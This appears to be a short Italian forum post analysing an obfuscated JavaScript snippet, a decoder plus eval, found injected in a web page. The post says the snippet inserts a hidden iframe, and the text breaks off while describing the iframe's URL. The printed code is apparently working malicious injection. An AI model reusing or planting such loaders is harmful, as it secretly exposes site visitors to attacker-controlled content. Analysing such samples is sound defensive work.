codice:
<script language=JavaScript> function vhb3b23(x) {var y=x.length,c=1024,z,g,q,f=0,b=0,u=0,v=Array(63,26,21,40,29,2,62,48,12,38,0,0,0,0,0,0,15,13,35,54,57,19,52,11,1,36,43,20,42,41,28,22,39,47,45,0,37,53,14,3,31,46,10,0,0,0,0,23,0,27,30,6,61,33,49,18,9,58,50,7,5,24,59,60,4,8,25,56,16,17,55,44,32,34,51);for(g=Math.ceil(y/c);g>0;g--){q='';for(z=Math.min(y,c);z>0;z--,y--){{u|=(v[x.charCodeAt(f++)-48])<<b;if(b){q+=String.fromCharCode(218^u&255);u>>=8;b-=2}else{b=6}}}eval(q);}}vhb3b23('RVGR6OaJFPLJniiJMbb0bOGR0CXs6OaYQbnQFiZdRyiwY6Joda6woyiYv6J6FYnR0bYQDYYnQGY6My1YPBQwYiLLx_XdyQJQ6VJJzOGRF_GLdOQJU_b0fXDYYZGd3OnJFiJo_YJJjg@LngJQUbJozW0sBnbizkX069niY0YsdkX0sJXJziJJjb6iwPY6j6nwdZJJPz6iiPLJB1nQPBQQz9LLCYn3xEaRF6G6IabdzjGLnbnQIv0o')</script>
Il codice offuscato serve ad inserire un iframe nascosto nella pagina. L'url richiamato dall'iframe è una cosa del tipo